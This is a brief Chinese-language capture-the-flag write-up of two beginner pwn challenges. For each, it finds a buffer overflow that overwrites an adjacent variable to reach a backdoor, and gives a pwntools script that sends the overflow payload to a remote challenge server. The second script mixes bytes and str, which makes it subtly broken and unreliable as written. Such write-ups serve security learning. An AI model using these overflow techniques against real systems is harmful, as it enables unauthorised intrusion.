没人能拒绝猫猫
先去下载文件,然后导入到虚拟机中file和checksec一下
可以看到是64位程序,并且同时开启了金丝雀和NX保护
我们将程序放进IDA中查看一下源码
有一个很明显的后门函数,但是需要一些条件
在我们运行程序的时候会问我们是不是喜欢小猫,此时有两个选项其实不管输入哪个都无法触发后门函数,因为输入的内容是在buf变量中,而参与判断的是s2变量。
我们发现buf变量定义是32个而read可输入的是40个,所以这里有溢出点
buf到s2的距离是0x50-0x30
思路如下:通过溢出buf到s2,再将需要的内容lovecat写入到s2中即可
脚本如下:
from pwn import *
r = remote('120.46.59.242',2106)
elf = ELF('/home/ctfshow/Desktop/cat' )
payload = b'a'*(0x50-0x30)+b'lovecat\x00'
r.sendline(payload)
r.interactive()
打通后即可
what's your name
本关的整体解题思路与前一关一样
32位程序,未开启任何保护
ida查看一下
看不到在哪定义的?不要紧双击进去看一下;
以下思路纯属个人理解:
变量b在0804a06c的位置,变量c在0804a070的位置,所以我们只需要溢出b来到c再将需要的内容写入到c中即可
二者的偏移量为:70-6C
开始编写脚本
from pwn import *
r = remote('120.46.59.242',2052)
elf = ELF('/home/ctfshow/Desktop/pwn2' )
padding = 0x70-0x6c
payload = b'a' * padding + 'tznb\x00'
r.sendline(payload)
r.interactive()
打通后即可
由于本次内容是在上课时做的,所以无法做到很详细,并且内容也会较少